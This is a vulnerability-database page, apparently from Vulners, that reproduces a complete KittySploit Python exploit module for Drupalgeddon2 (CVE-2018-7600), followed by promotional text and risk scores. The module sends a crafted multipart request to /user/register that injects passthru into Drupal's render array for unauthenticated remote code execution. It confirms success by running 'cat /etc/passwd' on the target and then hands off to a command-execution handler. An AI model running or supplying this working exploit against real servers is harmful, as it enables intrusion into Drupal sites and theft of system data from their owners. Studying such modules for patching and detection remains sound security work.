Lucene search
+L

Drupal Drupalgeddon2 RCE (CVE-2018-7600)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in Drupal via form API render array injection on /user/register.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Drupal Drupalgeddon2 RCE (CVE-2018-7600)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Drupal Drupalgeddon2 RCE (CVE-2018-7600)',
        'description': (
            'Exploits CVE-2018-7600 in Drupal 7/8 via form API render array injection on '
            '/user/register (mail[#post_render][]=passthru) for unauthenticated RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-7600'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.drupal.org/sa-core-2018-002',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-7600',
        ],
        'tags': ['drupal', 'php', 'rce', 'drupalgeddon', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_7600_detect'],
            },
        },
    }

    register_path = OptString(
        '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax',
        'Drupal register AJAX endpoint',
        required=False,
        advanced=True,
    )

    def _multipart(self, cmd: str) -> tuple[bytes, dict]:
        boundary = '---------------------------99533888113153068481322586663'
        body = (
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="mail[#post_render][]"\r\n\r\n'
            'passthru\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="mail[#type]"\r\n\r\n'
            'markup\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="mail[#markup]"\r\n\r\n'
            f'{cmd}\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="form_id"\r\n\r\n'
            'user_register_form\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="_drupal_ajax"\r\n\r\n'
            f'-----------------------------{boundary}--\r\n'
        )
        return body.encode('utf-8'), {
            'Content-Type': f'multipart/form-data; boundary=---------------------------{boundary}',
            'Accept': 'application/json',
            'X-Requested-With': 'XMLHttpRequest',
        }

    def execute(self, cmd: str) -> str:
        path = str(self.register_path or '').strip()
        data, headers = self._multipart(cmd)
        r = self.http_request(method='POST', path=path, data=data, headers=headers, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-7600 Drupalgeddon2 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Drupal render injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.2High risk
Vulners AI Score8.2
CVSS 27.5
CVSS 3.19.8
EPSS0.99991
SSVC
0